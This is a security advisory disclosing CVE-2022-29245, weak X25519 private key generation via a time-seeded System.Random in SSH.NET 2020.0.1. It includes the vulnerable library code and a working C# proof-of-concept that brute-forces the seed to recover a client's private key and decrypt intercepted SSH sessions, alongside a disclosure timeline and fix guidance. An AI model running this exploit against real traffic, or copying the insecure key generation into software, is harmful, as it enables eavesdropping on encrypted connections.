Weak private key generation in SSH.NET <= 2020.0.1

Security advisory

2022-10-14

Guillaume André

Vulnerabilities description

Presentation of SSH.NET

“SSH.NET is a Secure Shell (SSH-2) library for .NET, optimized for parallelism.”[1]

The issues

When establishing an SSH connection to a remote host, during the X25519 key exchange, the private key is generated with a weak random number generator whose seed can be bruteforced. This allows an attacker able to eavesdrop the communications to decrypt them.

This vulnerability was also independently found and reported by Siemens AG, Digital Industries.

Affected versions

Version 2020.0.1 is vulnerable and anterior versions are likely to be vulnerable.

Timeline

Date	Action
2022-03-11	Advisory sent to *SSH.NET*’s maintainer (gert.driesen@telenet.be)
2022-04-20	Reply from *SSH.NET*’s maintainer
2022-05-20	CVE-2022-29245 assigned by *Github*
2022-05-29	Vulnerability fixed in version 2020.0.2

1 From *SSH.NET*’s GitHub page (https://github.com/sshnet/SSH.NET)

Technical description and proof-of-concept

During an X25519 key exchange, the client's private key is generated with *System.Random* from the C# standard library:

```
File: SSH.NET/src/Renci.SshNet/Security/KeyExchangeECCurve25519.cs
using System;
using Renci.SshNet.Abstractions;
using Renci.SshNet.Common;
using Renci.SshNet.Messages.Transport;
using Renci.SshNet.Security.Chaos.NaCl;
using Renci.SshNet.Security.Chaos.NaCl.Internal.Ed25519Ref10;

namespace Renci.SshNet.Security
{
    internal class KeyExchangeECCurve25519 : KeyExchangeEC
    {
        private byte[] _privateKey;
[...]
        public override void Start(Session session, KeyExchangeInitMessage message)
        {
            base.Start(session, message);

            Session.RegisterMessage("SSH_MSG_KEX_ECDH_REPLY");

            Session.KeyExchangeEcdhReplyMessageReceived += Session_KeyExchangeEcdhReplyMessageReceived;

            var basepoint = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            basepoint[0] = 9;

            var rnd = new Random();
            _privateKey = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
            rnd.NextBytes(_privateKey);

            _clientExchangeValue = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            MontgomeryOperations.scalarmult(_clientExchangeValue, 0, _privateKey, 0, basepoint, 0);

            SendMessage(new KeyExchangeEcdhInitMessage(_clientExchangeValue));
        }
[...]
```

System.Random is not a cryptographically secure random number generator, it must not be used for cryptographic purposes. Moreover, when it is instanciated with no parameter, the seed is set to *Environment.TickCount*:

```
File: mscorlib/system/random.cs
[...]
namespace System {
[...]
    public class Random {
[...]
      public Random()
        : this(Environment.TickCount) {
      }
[...]
```

Environment.TickCount is the number of milliseconds elapsed since the system started, therefore it can easily be bruteforced. The following script bruteforces the seed to retrieve the client's private key given its public key:

```
using System;

using Renci.SshNet.Security.Chaos.NaCl;
using Renci.SshNet.Security.Chaos.NaCl.Internal.Ed25519Ref10;

namespace Renci.SshNet
{
    class Program
    {
        static string BytesToHexString(byte[] data)
        {
            return BitConverter.ToString(data).Replace("-", string.Empty);
        }

        static void Main(string[] args)
        {
            var basepoint = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            basepoint[0] = 9;
            var pub = args[0];

            int seed = 0;
            while (true)
            {
                var rnd = new Random(seed);
                var a = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
                rnd.NextBytes(a);

                var candidate = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
                MontgomeryOperations.scalarmult(candidate, 0, a, 0, basepoint, 0);

                if (BytesToHexString(candidate).Equals(pub,
StringComparison.CurrentCultureIgnoreCase))
                {
                    Console.WriteLine(String.Format("Found seed: {0}", seed));
                    Console.WriteLine(String.Format("Recovered private key: {0}",
BytesToHexString(a)));
                    break;
                }

                seed++;
            }
        }
    }
}
```

The recovered private key can then be used to compute the shared secret and derive the encryption key to decrypt the SSH communications.

To generate a cryptographically secure random number, Microsoft recommends using the *RNGCryptoServiceProvider* class or derive a class from *System.Security.Cryptography.RandomNumberGenerator*.